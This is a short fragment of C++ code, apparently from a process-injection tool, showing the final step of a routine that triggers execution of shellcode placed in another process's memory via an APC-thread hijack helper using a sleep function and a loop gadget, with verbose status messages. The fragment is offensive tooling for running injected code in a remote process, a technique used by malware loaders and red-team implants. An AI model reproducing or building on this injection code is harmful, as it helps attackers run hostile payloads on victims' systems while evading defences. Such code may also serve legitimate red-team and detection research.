// 3. Execute Shellcode using our hijack primitive
if (config.verbose)
{
std::cout << "\n[*] --- Step 3: Executing Shellcode ---" << std::endl;
std::cout << "[*] Attempting to jump to shellcode at " << pRemoteMemory << std::endl;
}
bool execSuccess = ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack(
hProcess,
config,
pRemoteMemory, // Target function is the shellcode
0, 0, 0, 0, // No arguments for shellcode
pSleep, // Sleep function
loopGadgetAddr // Loop gadget
);
if (!execSuccess)
{
std::cerr << "[!] Failed to execute shellcode via NtQueueApcThreadEx2+Hijack." << std::endl;
return false;
}
if (config.verbose)
{
std::cout << "[+] Shellcode execution triggered successfully." << std::endl;
}
return true;
}